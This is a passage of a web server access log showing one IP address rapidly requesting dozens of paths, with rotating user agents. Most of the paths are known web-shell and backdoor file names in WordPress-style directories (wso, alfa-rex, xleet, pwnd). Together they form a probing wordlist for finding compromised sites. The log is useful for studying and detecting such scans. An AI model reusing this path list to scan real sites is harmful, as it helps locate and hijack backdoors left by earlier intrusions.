[27/Apr/2025:19:36:28 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:28 -0400] "GET /wordpress/update/bibil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:28 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:36:28 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:28 -0400] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:36:28 -0400] "GET /wp-content/plugins/seooyanz/wsoyanzv2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:36:29 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:29 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:29 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:29 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:29 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:29 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:29 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:29 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:30 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:30 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:30 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:30 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:30 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:30 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:30 -0400] "GET /wp-content/plugins/fix/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:30 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:36:31 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:31 -0400] "GET /wp-admin/network/word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:31 -0400] "GET /extracte_wordprees/dirfunc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:36:31 -0400] "GET /wp-admih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:31 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:31 -0400] "GET /land.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:31 -0400] "GET /hobi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:31 -0400] "GET /wp-content/plugins/Core-Econ/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:31 -0400] "GET /x7.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:31 -0400] "GET /wp-admin/network/abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:32 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:32 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:36:32 -0400] "GET /Patrick.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:32 -0400] "GET /modules/karakaroa/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:32 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:32 -0400] "GET /abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:32 -0400] "GET /black2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:36:32 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:32 -0400] "GET /wp-content/plugins/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:32 -0400] "GET /jkaeeehs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:33 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:36:33 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:33 -0400] "GET /wp-admin/includes/manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:33 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:33 -0400] "GET /wp-admin/meta/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:33 -0400] "GET /wp-content/plugins/ttxecy/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:33 -0400] "GET /wp-Includes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:36:33 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:33 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:34 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:34 -0400] "GET /wp-includespreviews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:34 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:34 -0400] "GET /wp-admin/images/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:36:34 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:34 -0400] "GET /admin/controller/extension/wpm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:34 -0400] "GET /payout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:34 -0400] "GET /wp_info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:34 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:34 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:34 -0400] "GET /by.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:34 -0400] "GET /wp-content/plugins/Cache/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:35 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:35 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:35 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:35 -0400] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:35 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:35 -0400] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:35 -0400] "GET /admin/controller/extension/extension/Not_Found.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:35 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:35 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:35 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:36 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:36 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:36 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:36 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:36 -0400] "GET /style2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:36 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:36 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:36 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:36 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:36 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:36 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:37 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:37 -0400] "GET /qfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:37 -0400] "GET /qinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:37 -0400] "GET /thoms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:37 -0400] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:37 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:36:37 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:37 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:37 -0400] "GET /my-sites.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:37 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:36:38 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:38 -0400] "GET /options-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:38 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:38 -0400] "GET /term.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:38 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:36:38 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:38 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:36:38 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:38 -0400] "GET /wp-content/themes/signify/firkon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:38 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:38 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:39 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:39 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:36:39 -0400] "GET /theme-insqbzk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:39 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:39 -0400] "GET /wp-22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:36:39 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:39 -0400] "GET /wp-includes/fonts/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:36:39 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:39 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:39 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 